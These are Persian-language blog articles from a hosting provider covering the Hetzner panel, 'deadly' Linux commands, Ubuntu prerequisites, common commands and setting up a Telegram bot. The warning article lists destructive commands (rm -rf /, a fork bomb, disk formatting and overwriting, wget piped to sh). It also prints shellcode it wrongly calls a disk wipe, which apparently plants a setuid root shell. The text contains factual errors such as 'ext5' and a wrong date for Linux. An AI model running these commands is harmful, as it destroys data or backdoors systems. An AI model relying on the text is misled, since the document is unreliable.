نحوه استفاده از اکانت هتزنر

اکانت پنل هتزنر 

در این مقاله در مورد نحوه استفاده از اکانت پنل هتزنر با شما هستیم 

معرفی پنل هتزنر و منوهای آن 

نحوه ورود به پنل هتزنر و ساخت سرور در آن

اشنایی با تب ها و نحوه عملکرد هز قسمت

جهت ورود به وبسایت آن میتوانید بر روی اینجا کلیک کنید

نحوه اجرای دستورات در پنل و اشنایی مختصر با تمامی منوهای آن

معرفی دیتا سنتر هتزنر آلمان

“Hetzner Online GmbH” فعالیت خود را در سال 1997 در آلمان و تحت نام Hetzner Online Services”” شروع کرد
بین سالهای 2000 تا 2015 شرکت “هتزنر آنلاین” در آلمان تحت شرایط حقوقی AG (“Aktiengesellschaft”)  فعالیت کرد.
در سال 2015، وضعیت قانونی خود را به شرکت GmbH تغییر داد.

این شرکت به نام بنیان گذار آن یعنی مارتین هتزنر، نامگذاری شده است.
“هتزنر آنلاین” دارای سه پارک مرکز داده در “نورنبرگ” و “فالکن اشتاین “در آلمان و “هلسینکی” در فنلاند می باشد.
علاوه بر این، شرکت “هتزنر آنلاین” در پروژه “Cinia C-Lion” سرمایه گذاری کرده است که هلسینکی و روستوک را به آلمان توسط کابل فیبر نوری زیر دریایی 1100 کیلومتر متصل می کند.
این کابل ارتباطی با سرعت بالا، دیتاسنتر هتزنر در آلمان و دیتاسنتر در حال ساخت در فنلاند را به هم مرتبط می سازد.
در سال 2017، “هتزنر آنلاین” جشن 20 سالگی خود را با یک رویداد چند روزه در پارک مرکز داده خود در فالکن اشتاین، برگزار کرد.

دفتر مرکزی دیتاسنتر “هتزنر آنلاین” در شهر ” گونتس هاوزن” آلمان واقع شده است.
این شرکت شریکی در آفریقای جنوبی دارد که با نام Hetzner South Africa (Pty.) Ltd فعالیت کرده و دیتاسنتر آن در شهرهای “Midrand” و “کیپ تاون” آفریقای جنوبی قرار دارند.

هتزنر آنلاین Hetzner Online از قوانین دولت فدرال آلمان پیروی می کند.
نسبت به نشر محتوی بدون رعایت حق مولف یا کپی رایت، پورنو گرافی و یا آن دسته از اقلامی که توسط قانون غیر مجاز تشخیص داده شده حساس است و دسترسی به سرور مشترک را در صورت عدم رعایت مسدود می کند.

پنل اکانت هتزنر المان
جشن 20 سالگی هتزنر

همچنین دیتاسنتر هتزنر به ارسال ایمیل های مزاحم و اسپم بسیار حساس است و سخت گیری هایی را انجام می دهد

محصولات دیتا سنتر هتزنر

دیتا سنتر بزرگ هتزنر آلمان خدماتی از قبیل:
ارائه سرورهای اختصاصی
سرور های مارکتی
سرورهای کلاود
دامنه
و …..
را در بردارد که در پنل اکانت هتزنر شما عزیزان تمام این خدمات را میتوانید استفاده کنید
نحوه ورود به ترمینال ssh را میتوانید در اینجا مشاهده نماید
لینک مشاهده

راحتی و امنیت و سرعت در سرویس ها

از قابلیت های بسیار خوب در وبسایت پنل اکانت هتزنر المان :

استفاده از مدیریت محصولات در بستر وب
راحتی و امنیت در خرید سرور های کلاود
استفاده از بهترین پروتوکل های امنیتی و فایروال
پشتیبانی انلاین و بسیار خوب در جهت رفع مشکلات شماست 

آموزش ویدیویی نحوه ورود به پنل هتزنر

در ادامه با ویدیویی در زمینه نحوه ورود به پنل هتزنر آلمان با شما عزیزان خواهیم بود.
در این ویدیوی آموزشی خواهید دید که استفاده از پنل هتزنر نیاز به هیچ دانش فنی ندارد
ساخت سرویس ها فقط با چند کلیک
روش ورود به ترمینال ssh و نحوه ورود به آن را در مقالات قبلی ما بخوانید
شما را به دیدن این ویدیوی آموزشی دعوت میکنیم

نویسنده مقاله: سروش رافعی (کارشناس ارشد شبکه)
تشکر ویژه از :عرفان رحیمی تدوین گر ویدیو اموزشی
سرپرست: مهندس وحید باقری فام

دستورات مرگبار لینوکس

دستورات مرگبار لینوکس

در این مقاله در مورد دستورات مرگبار لینوکس با شما عزیزان خواهیم بود

استفاده از دستورات مرگبار لینوکس به هیچ عنوان پیشنهاد نمیشود

بیان این دستورات صرفا جنبه آموزشی دارد

به هیچ عنوان استفاده از دستوراتی که کاربرد آنها را نمیدانید توصیه نمیشود

دستورات مرگبار لینوکس
دستورات مرگبار لینوکس

دستورات مرگبار لینوکس کاملا مخرب است

کامند لاین لینوکس

لازم است بدانید لینوکس برای اجرای دستورهایی در کامند لاین از شما اجازه نمیگیرد

ما در مقاله قبلی در مورد کامند لاین (command line) یا شل یا خط دستور توضیحاتی دادیم

به طور مختصر رابطی برای ایجاد  تعامل سریع و کارا است

در این مقاله با دستورات و کامند هایی که قاتل لینوکس است

و باعث از دست رفتن سیستم عامل میشود آشنا میشویم

تا بتوانید از زدن این کامندها برای افرادی که از سر شیطنت یا سرگرمی به شما پیشنهاد میدهند

در امان باشید

اولین راه حل به علت اینکه این دستورات اصولا در روت اجرا میشوند

استفاده غیر مستقیم از root است و زدن کامند sudo در ابتدای دستورات

دستور / rm -rf

دستورات */ rm -rf یا / rm -rf هر چیزی که در ریشه دایرکتوری است را حذف میکند

به طور کلی کامند rm -rf برای حذف فایلها و یا ریشه دایرکتوری ها است

اما با زدن این کاراکتر / در ترمینال باعث نابودی فایل های سیستمی که در ریشه اصلی قرار دارند میشود

این فایلهای نابود شده در ریشه اصلی و همان هارد دیسک قرار دارند

دستور rm به معنی حذف یا remove است و دستور -rf به این معنی است که :

Recursive و Force (بدون سوال) فایل ها را پاک کند

/ هم به معنی دایرکتوری ریشه یا Root می باشد.

اما توجه کنید که تنها این کامند نیست و بسیاری از از دستورات رمزگزاری شده نیز

چنین عملی را انجام میدهند

دستورات مرگبار لینوکس
دستورات مرگبار لینوکس

به صورت نمونه در پاراگراف بعدی از دستورات مرگبار لینوکس ,مشابه این دستور را آورده ایم

دستور مشابه / rm -rf  به صورت hex

دستور پایین به صورت hex gibberish است که کاری مشابه همان خط فرمان
/ rm -rf میکند با این تفاوت که به صورت کد قرار گرفته است
چنین دستوراتی در اینترنت زیاد پیدا میشوند پس دقت بفرمایید چه دستوری را استفاده میکنید
این دستور در ماشین مجازی تنها وقتی مفید است اگر شما بک اپ و یا اسنپ شات داشته باشید
تمام هارد را پاک میکند!
دستور در زیر قرار گرفته است

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

(){ :|: & };:

این دستور یک بش فانکشن است bash function و این کد کوتاه بسیار مخرب است

این دستور کارش تولید نسخه کپی از خودش است و اجرای آن به صورت حلقه تکرار

این دستور  به صورت loop از خود آنقدر نسخه کپی میسازد تا تمام فضای رم و سیپیو

را درگیر کند و تا سیستم به حالت فریز درآید این عمل را انجام میدهد

این دستور را حمله Dos یا fork bomb مینامند

mkfs.ext5 /dev/sda1

Mkfs همان Make File System است به معنی ایجاد یک فایل سیستم جدید.

Ext5 یک نوع فایل سیستم  است.

/dev/sda1 مسیر اولین پارتیشن  هارد دیسک  است

و این دستور کل هارد دیسک را فرمت میکند

این دستور کل پارتیشن sda1 را پاک میکند و پارتیشن Ext5 را میسازد

نوشتن محتوا در اولین هارد دیسک

 این دستور دستور command > /dev/sda  که به این معنی است به جای کلمه command

دستوری قرار داده شود! و روش اجرایش به این نحو است که:

دستور را اجرا میکند اما استفاده از کاراکتر > نتیجه دستور را در مسیر /dev/sda می نویسد

و این نوشتن باعث میشود اولین بایت های هارد دیسک که اطلاعات سیستمی دارند دچار تخریب شود

و دیسک را تخریب و غیر قابل استفاده میکند

dd if=/dev/random of=/dev/sda

این دستور موجب میشود تمام بایت های هارد دیسک با کاراکتر 0 پر شود.

کل هارد را تخریب میکند

دستور dd در لینوکس دو مقدار می گیرد که محتوای if را بصورت Low-Level در of کپی می کند.
برای از بین بردن داده ها به صورتی که بازیابی آن توسط ریکاوری ها غیر ممکن باشد
مسیر /dev/zero شامل محتوای 0 است

mv ~ /dev/null

انتقال به سیاه چاله!

مسیر /dev/null مسیر یک سیاه چاله است که بازگشتی از آن وجود ندارد

کامند mv ~ /dev/null  کل محتویات پوشه شخصی شما را به این مسیر میفرستد

~ مسیر Home Directory  است که با  این دستور به سیاه چاله میرود

دستورات مرگبار لینوکس
دستورات مرگبار لینوکس

و شما میتوانید دستور move یا mv را در اینجا مطالعه نمایید

wget http://example.com/somescript -O – | sh

در خاتمه دستورات مرگبار لینوکس با این دستور اشنا میشویم

دانلود یک فایل و اجرای آن به عنوان یک Script

این دستور یک اسکریپت را از اینترنت دانلود و اجرا میکند

کاراکتر |  خروجی دستور سمت چپ را به ورودی دستور سمت راست میدهد

و Sh فایل را به عنوان یک Bash Script  که در پاراگرف های قبل توضیح دادیم اجرا می کند.

نویسنده مقاله: سروش رافعی (کارشناس ارشد شبکه)
سرپرست: مهندس وحید باقری فام

پیشنیازهای ابنتو

پیشنیازهای ابنتو

در این مقاله میپردازیم به پیشنیازهای ابنتو که در واقع دستورات و کامندهایی است

برای اجرایی شدن ربات های تلگرامی توسط سیستم عامل ابنتو

پیشنیازهای ابنتو برای افزودن لایبری های مورد نیاز برای اجرای ربات تلگرامی

نصب پیشنیازهای ابنتو

همه پیش نیازها را می توان به راحتی با استفاده از, دستور استاندارد ، مانند apt-get برای اوبونتو ، نصب کرد

که ما در مقاله پیشین بیان کردیم get دستوری قدیمی بود

و میتوان apt-get را به صورت apt تنها به کار برد

دستورات زیر تمام پیشنیازهای ابنتو  مورد نیاز و اختیاری را در Ubuntu 12.04 یا بالاتر نصب می کند

خواندن مقاله پیشین در اینجا

باز کردن dpkg

برخی برنامه های دیگر سعی در به روزرسانی اوبونتو دارند. وقتی یک دستور یا برنامه در حال به روزرسانی سیستم یا نصب یک نرم افزار جدید است ، پرونده dpkg (مدیر بسته Debian) را قفل می کند.
ابتدا قفل را حذف و سپس کانفیگ مجدد آن

دستور مورد نیاز :

sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg --configure -a

آپدیت نرم افزار ها و ارتقای آنها

برای اپدیت و ارتقای نرم افزارها استفاده از 2 کامند در پیشنیازهای ابنتو قرار میگیرد

دستور مورد نیاز :

sudo apt-get update 
sudo apt-get upgrade

نصب پیش نیازهای lua و لایبری

برای اجرای سورس هایی که به زبان برنامه نویسی لوا نوشته شده است
نیازمند به نصب پیش نیازهای ابنتو برای این زبان برنامه نویسی هستیم
ابتدا نصب آنزیپ برای اکسترکت کردن سورس در سیستم عامل
و سپس نصب لایبری و پیش نیازهای این زبان برنامه نویسی

پیشنیازهای ابنتو برای اجرای سورس ها به زبان برنامه نویسی لوا
اجرای سورس های به زبان برنامه نویسی لوا

دستور مورد نیاز :

sudo apt-get install unzip
sudo apt-get install nano wget -y
sudo apt-get install luarock
sudo apt-get install libreadline-dev -y libconfig-dev -y libssl-dev -y lua5.2 -y liblua5.2-dev -y lua-socket -y lua-sec -y lua-expat -y libevent-dev -y make unzip git redis-server autoconf g++ -y libjansson-dev -y libpython-dev -y expat libexpat1-dev -y
sudo apt-get update
sudo apt-get instal
sudo apt-get install upstart-sysv
sudo apt-get upgrade 
sudo apt-get install libconfig++9v5 libstdc++6 
sudo apt autoremove
sudo apt-get install gcc-4.9
sudo apt-get --yes install wget libconfig9 libjansson4 lua5.2 liblua5.2 make unzip git redis-server g++ whois fortune fortunes
sudo apt-get install g++-4.7 -y c++-4.7 -y
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install screen -y
sudo apt-get install tmux -y
sudo apt-get install libstdc++6 -y
sudo apt-get install lua-lgi -y
sudo apt-get install libnotify-dev -y
sudo apt-get install libconfig++8-dev
sudo apt install libconfig++9v5
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:ubuntu-toolchain-r/test
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt-get update
sudo apt-get install gcc-4.9
sudo apt-get upgrade libstdc++6
sudo apt-get install libcurl-dev
sudo apt-get install libcurl4-openssl-dev
sudo apt-get install libcurl4-gnutls-dev
sudo apt-get install software-properties-common

نصب لواراکس (luarocks)

برای دانستن مختصری از اینکه لوآراکس چیست لازم است بدانیم :

لواراکس پکیجی برای مدیریت ماژولهای لوا است

که میتوان در سیسم عاملهای یونیکس و حتی ویندوز آن را نصب کرد

و نصب بقیه پیشنیازهای ابنتو برای اجرای لوا

برای توضیحات بیشتر ارجاع داده میشود به وبسایت لواراکس در اینجا

دستور مورد نیاز :

wget http://luarocks.org/releases/luarocks-2.2.2.tar.gz;tar zxpf luarocks-2.2.2.tar.gz;cd luarocks-2.2.2 && ./configure; sudo make bootstrap;sudo luarocks install luasocket;sudo luarocks install luasec;sudo luarocks install redis-lua;sudo luarocks install lua-term;sudo luarocks install serpent;sudo luarocks install dkjson;sudo luarocks install lanes;sudo luarocks install Lua-cURL
sudo apt-get install libstdc++9
sudo apt-get install libconfig++9v5 libstdc++6
sudo apt-get install libstdc++6
sudo apt-get install lua-lgi
sudo apt-get install libnotify-dev
sudo add-apt-repository ppa:ubuntu-toolchain-r/test 
sudo apt-get install libgtk2.0-0:i386 libidn11:i386 libglu1-mesa:i386
sudo apt-get install libpangox-1.0-0:i386 libpangoxft-1.0-0:i386
sudo apt autoremove
git config --global url."https://".insteadOf git://
sudo apt-get install liblua5.1-0:i386
sudo apt-get install liblua5.1-0:i386
sudo luarocks install luaxmlrpc
sudo apt-get install psmisc

نصب پیشنیازهای پایتون

برای اجرا شدن سورس هایی به زبان برنامه نویسی پایتون باید بدانیم

پایتون(Python) پایتون یک زبان برنامه نویسی سطح بالا تفسیر شده برای برنامه نویسی عمومی است.
این زبان دارای یک فلسفه طراحی است که بر خواندن کد، به خصوص با استفاده از فضای خالی مهم استوار است.
Python دارای یک سیستم نوع پویا و مدیریت حافظه خودکار است و پارادایم های چندگانه برنامه نویسی را پشتیبانی می کند.

مفسر پایتون برای بسیاری از سیستم عامل ها در دسترس است

توجه:لازم به ذکر است این دستورات برای نصب پایتون 3.6 است

پیشنیازهای ابنتو برای اجرای سورس به زبان برنامه نویسی پایتون
پیشنیازهای ابنتو برای اجرای سورس به زبان برنامه نویسی پایتون

دستور مورد نیاز :

sudo apt-get install python3.6-dev
conda install yaml
sudo apt install python3.6
sudo apt install python3-pip
python3.6 -m pip install wheel
python3.6 -m pip install setuptools
python3.6 -m pip install schedule
python3.6 -m pip install pytelegrambotapi
python3.6 -m pip install pillow
python3.6 -m pip install subprocess
python3.6 -m pip install pyrogram
python3.6 -m pip install pyrogram[fast]
python3.6 -m pip install redis==2.10.6
python3.6 -m pip install jdatetime
sudo pip install --force-reinstall redis==2.10.6

تکمیلی پیش نیازهای پایتون

در پایین تمامی پیشنیازهای ابنتو برای پایتون  قرارداده شده است
دستور مورد نیاز :

sudo apt-get update
sudo apt-get install python-pip
sudo pip install --upgrade pip
sudo pip install shadowsocks

sudo apt-get install python-setuptools

sudo apt-get install python-pip

sudo apt-get install python-redis

sudo pip install pyTelegramBotAPI

sudo pip install pyTelegramBotAPI —upgrade

sudo apt-get update

sudo apt-get install python2.7

sudo pip install pytelegrambotapi py==1.4.29 pytest==2.7.2 requests==2.7.0 six==1.9.0 wheel==0.24.0

pip install pyTelegramBotAPI

git clone https://github.com/eternnoir/pyTelegramBotAPI.git

cd pyTelegramBotAPI

python setup.py install

cd ..

sudo apt-get install python3.6-dev
conda install yaml

add-apt-repository ppa:deadsnakes/ppa
apt-get update
sudo apt-get install python3.6
python3.6 -m pip install PyTelegramBotApi
python3.6 -m pip install pyrogram[tgcrypto]
python3.6 -m pip install redis
python3.6 -m pip install configparser
python3.6 -m pip install ruamel.yaml

نصب تمام پیشنیازهای ابنتو فقط  با یک دستور!

تلگراف هاست برای شما نصب تمامی این پکیج ها را فقط با یک دستور میسر کرده است

کافی است در ترمینال لینوکس خود این دستور را وارد نمایید

دستور مورد نیاز :

wget https://telegrafhost.com/linux/telegrafhost.sh && chmod +x  telegrafhost.sh && ./telegrafhost.sh install

با زدن این دستور تمامی پیشنیازهای ابنتو برای اجرای سورس شما فعال میشود

لازم به ذکر است میتوانید نحوه اجرای ربات تلگرامی از 0 تا 100 را در اینجا بخوانید:

نویسنده مقاله: سروش رافعی (کارشناس ارشد شبکه)
سرپرست: مهندس وحید باقری فام

دستورات لینوکس(ubuntu)

دستورات و کامند های لینوکس

در این دسته مقالات با شماییم با دستورات لینوکس
یا شاید بهتر بگوییم 

دستورات لینوکس در توزیع و زیر شاخه ابنتو 

در این آموزش به دستورات لینوکس (ابنتو) میپردازیم

قبل از شروع مبحث آموزش دستورات پرکاربرد لینوکس لازم است که بدانیم :

لینوکس چیست؟

قبل از معرفی سیستم عامل لینوکس بهتر است بدانیم :

سیستم عامل در واقع نرم افزاری است که به مدیریت و پردازش  منابع موجود در یک دستگاه می‌پردازد
یعنی ارتباط بین سخت افزار و نرم افزار را فراهم می‌کند.
وظیفه اصلی سیستم عامل برقراری ارتباط بین کاربر و قطعات فیزیکی دستگاه است
.رابط کاربری است برای استفاده از دستگاه
لینوکس در سال 1984 متولد شد
در سال 1971 سیستم عامل یونیکس توسط شرکت تلفن و تلگراف امریکا توسعه و گسترش یافت
اما با توجه به گران قیمت بودن آن همه مردم نمیتوانستند از آن استفاده کنند
میتوان گفت لینوکس بسیار شبیه سیستم عامل یونیکس است و به صورت متن باز توسعه یافت
به بیانی دیگر لینوکس زیر شاخه یونیکس است اما رایگان!
و به خاطر امنیتی که دارد، به عنوان سیستم عامل محبوب در شبکه‌ها  استفاده می‌شود و ۷۰ درصد دیواره های آتش و فایروال های  مورد استفاده در شبکه‌های دنیا، از سیستم عامل لینوکس استفاده می‌کنند.

تعریف توزیع لینوکس

توزیع لینوکس ( distro)
یک سیستم عامل است که از یک مجموعه نرم افزاری بر اساس هسته لینوکس و اغلب یک سیستم مدیریت بسته‌ای ساخته شده است
از توزیع های لینوکس میتوان به ubuntu اشاره کرد:
اوبونتو (Ubuntu) احتمالا شناخته شده ترین توزیع لینوکس، در دنیا می‌باشد. این سیستم عاملِ توزیعی بر اساس Debian می‌باشد. اما منبع Repository های نرم افزاری خودش را دارد و از Repository های Debian استفاده نمی‌کند
توزیع های لینوکس همچون ,ابنتو , فدورا ,سنتوئس و ….اشاره کرد
ما در پایین کامند های رایج و پر استفاده در ubuntu را برای شما قرار میدهیم
شما میتوانید جهت اشنایی با نحوه ورود به ترمینال لینوکس
مقاله قبل را از اینجا مطالعه نمایید

دستورات و کامند های پر کاربرد در ابنتو

در زیر مختصری از کامندهای سیستم عامل ابنتو برای شما عزیزان در تلگراف هاست آورده شده است

در زمان انتشار این مقاله اخرین نسخه ابنتو 20.04 است 

دستورات منابع سیستم

تنظیم زمان سرور

sudo dpkg-reconfigure tzdata
sudo apt-get update
sudo apt-get install tzdata

نمایش ای پی سرور

ifconfig

دستور نمایش پردازش ها

top
sudo apt install htop
htop

زمان فعال بودن سیستم و کاربران

uptime

نمایش اطلاعات پردازنده

cat/proc/cpuinfo

نمایش اطلاعات Ram

cat/proc/meminfo

نمایش جامعی از منابع

uname -a

نمایش میزان هارد مصرف شده و مانده

df -h

نمایش میزان رم مصرفی و مانده

free -m

نمایش ای پی لاگین شده قبلی

who

دستورات مدیریت دایرکتوری

پاک کردن یک فایل

rm -rf  "file name"

ساخت یک پوشه جدید

mkdir  "folder name"

وارد شدن به دایرکتوری

cd "directory name"

بازگشت به دایرکتوری قبلی

cd..

بازگشت به دایرکتوری اصلی

cd ~
cd -e
$HOME

کپی کردن فایل بین دایرکتوری

cp "name"

جابه جایی فایل بین دایرکتوری

mv "name"

لیست فایل های موجود در دایرکتوری

ls

جستجوی فایل در دایرکتوری ها

find "name"

حذف دایرکتوری

rmdir "directory name"

ادیت فایل در سرور

nano "file name"

اجازه دسترسی کامل به فایل و اجرایی کردن

chmod +x "file name"
chmod 777 "file name"

لیست فایل و فولدر به همراه سایز

ls -l

بستن تمام پروسه های روت

pkill -KILL -u root

نمایش مسیر دایرکتوری 

pwd

خالی کردن ردیس ربات

redis-cli flushall

ایجاد فایل متنی

vi "name.txt"

انزیپ کردن فایل های زیپ

sudo apt install unzip

unzip "zip file"

نمایش مسیر دایرکتوری 

pwd

پاکسازی صفحه ترمینال

clear

تاریخچه ای از دستورات استفاده شده

history

دستورات مدیریتی

بستن پروسه های سرور

killall "process name"

ساختن یک یوزر

sudo adduser "name"

ارتقا یوزر به سودو

sudo adduser "name" sudo

حذف یک یوزر

sudo deluser "name"
deluser --remove-home "user

حذف دسترسی یوزر به سودو

sudo deluser "name" sudo

مدیریت پسوردهای روت و یوزر

psswd "user"

اجرای خودکار پس از خروج از سرور

screen

نصب پکیج بروی سرور

get-apt install "package name"

حذف یک پکیج از سرور

get-apt remove "package name"

تغییر پورت سرور

sudo nano /etc/ssh/sshd_config
change #22
remove #
change number 22 to other number

انتقال فایل به سرور

دانلود بدون نمایش محتوا

wget -c -q --show-progress "link"

دانلود از گیت هاب ،گیت لب، …

git clone "address url.git"

دانلود از لینک

wget "address url"

این مقاله برگرفته از وبسایت اصلی ابنتو و استخراج کامندها توسط تلگراف هاست بود
در مقاله بعدی از همین دسته به دستورات و کامندهای بیشتر و پیش نیازهای لازم برای سیستم عامل ابنتو میپردازیم

هر سوال یا مشکلی را میتوانید در قسمت نظرات وارد نمایید حتما کارشناسان ما پاسخ خواهند داد

نویسنده مقاله: سروش رافعی (کارشناس ارشد شبکه)
سرپرست: مهندس وحید باقری فام

ساخت و اجرای ربات تلگرامی

در این مقاله سعی کرده ایم روش ساخت و اجرای رباتهای تلگرامی را برای شما عزیزان قرار دهیم

در این دسته از آموزشها نحوه فعالسازی ربات تلگرامی cli را خواهیم دید

آموزش ساخت ربات تلگرامی و نحوه ساخت ربات در تلگرام

 

روش ساخت ربات تگرامی CLI


برای معرفی باید بدانیم cli مخفف کلمه Command Line Interface است

در واقع یک اتصال است که کاربر می تواند با سیستم عامل در تعامل باشد تا برخی کارها را نه از طریق گرافیکی بلکه با وارد کردن برخی دستورات انجام دهد.
سپس Command Language Interpreter این دستورات را تفسیر می کند و عملکرد مناسب توسط سیستم انجام می شود.

در روزهای اولیه که رابط کاربری گرافیکی (GUI) به خوبی توسعه نیافته و سیستم عامل DOS استفاده شده بود ، تمام کارهایی که باید انجام شود با استفاده از دستورات انجام می شد
. کاربر قبلاً دستوراتی را روی DOS-prompt بنویسد ، مترجم سعی می کند آن فرمان را بشناسد و اگر این دستور را به عنوان معتبر تشخیص دهد ، وظیفه متناسب با این دستور را انجام دهد

به زبان ساده تر شما برای اجرای ربات های تلگرامی نیاز به دستوراتی دارید که توسط توسعه دهنده یا همان سورس نویس در سورس قرار میگیرد
و این دستورات توسط سیستم عامل لینوکس تفسیر شده و عمکرد مناسب با آن را انجام میدهد

 

علت ساخت رباتهای تلگرامی
در بسیاری از گروه های تلگرامی محدودیت هایی از قبیل پاک کردن لینکهای تبلیغاتی و مزاحم , پیامها, استیکر ها ,و حتی کلماتی که مناسب نیستند را میتوان به وسیله این رباتها اضافه کرد.
توسعه دهندگان با به کارگیری متودها و استفاده از هوش مصنوعی برای امن کردن هر چی بیشتر فضاهای اجتماعی و برنامه ها تلاش کرده اند
تلگرام با معرفی متودهایی برای توسعه دهندگان به آنها در زمینه توسعه و ساخت رباتها کمک کرده است
حال که مختصری از معرفی این رباتها و نحوه فعالیت آنها معرفی کردیم بهتر است برویم سراع آموزش نحوه ساخت

آمورش ساخت رباتهای تلگرامی

ما در ویدویی آموزشی نحوه ساخت و اجرای رباتهای تلگرامی را به صورت کامل شرح داده
و برای شما قرار داده ایم
به صورت نمونه سورسی بر روی وبسایت قرار داده شده است که شما عزیزان فقط لازم است دستوراتی که در فایل متنی برای شما قرار داده ایم را اجرا کنید
اگر با نحوه ورود به سیستم عامل لینوکس آشنایی ندارید کافیست مقاله قبلی را مطالعه فرمایید
در پایین بر روی دکمه زده تا به مقاله قبلی فراخوان شوید

 

دستورات نصب سورس

ضمن این که دستورات نصب و اجرای ربات در فایل help.zip در سورس قرار گرفته است
با این حال دستورات را اینجا بازنویسی میکنیم

 

    • نصب پیشنیازها
sudo apt-get update; sudo apt-get upgrade; sudo apt-get install tmux; sudo apt-get install luarocks; sudo apt-get install screen; sudo apt-get install libreadline-dev libconfig-dev libssl-dev lua5.2 liblua5.2-dev lua-socket lua-sec lua-expat libevent-dev make unzip git redis-server autoconf g++ libjansson-dev libpython-dev expat libexpat1-dev; sudo apt-get update; sudo apt-get install; sudo apt-get install upstart-sysv

 

    • نصب luarocks
wget http://luarocks.org/releases/luarocks-2.2.2.tar.gz;tar zxpf luarocks-2.2.2.tar.gz;cd luarocks-2.2.2 && ./configure; sudo make bootstrap;sudo luarocks install luasocket;sudo luarocks install luasec;sudo luarocks install redis-lua;sudo luarocks install lua-term;sudo luarocks install serpent;sudo luarocks install dkjson;sudo luarocks install lanes;sudo luarocks install Lua-cURL

 

    • برای برگشتن به پوشه قبل
      cd
      را میزنیم
    • نصب unzip
sudo apt-get install unzip

 

    • ادامه دستورات نصب و اصلی
    • wget https://www.telegrafhost.org/source/MaTaDoR.zip
      
      
      unzip MaTaDoR.zip
      
      chmod +777 MaTaDoR
      ./MaTaDoR install
      ./MaTaDoR config
      ./MaTaDoR login
      شماره ربات را بدون فاصله وارد میکنیم
      ./MaTaDoR cli
      cd MaTaDoR
      ./MaTaDoR api
      cd MaTaDoR
      screen ./Autolaunch

       

      دستورات بستن تمام فعالیتهای در حال اجرا در لینوکس

killall screen
killall tmux
killall nohup
killall tg
killall bot
killall tg
killall tgcli
killall screen
killall *
killall -9 bash

 

    • در اخر اگر ربات شما خاموش شد

killall screen

killall tmux
killall nohup
killall tg
killall bot
killall tg
killall tgcli
killall screen
killall *
killall -9 bash

و بعد

cd MaTaDoR
screen ./Autolaunch

 

برای دانلود سورس ربات ضد لینک کافیست بر روی دکه پایین بزنید

هرچند با دستور wget به صورت مستقیم در سرور شما دانلود خواهد شد

در ادامه شما را به دیدن ویدیوی این آموزش دعوت میکنیم

شما را در پایین به دیدن این ویدیو که در اپارات قرار داده شده است دعوت میکنیم
لازم به ذکر است :
که در مقاله بعدی در این دسته مقالات ,نحوه اجرای رباتهای api را برای شما عزیزان قرار میدهیم

لطفا ما را با نظرهای خود خرسند نمایید و اگر سوالی داشتید در پایین پست قسمت نظرات پیام بگذارید

ویدیو آموزشی نحوه اجرای رباتهای تلگرامی

نویسنده مقاله: سروش رافعی (کارشناس ارشد شبکه)
سرپرست: مهندس وحید باقری فام
تشکر ویژه از:عرفان رحیمی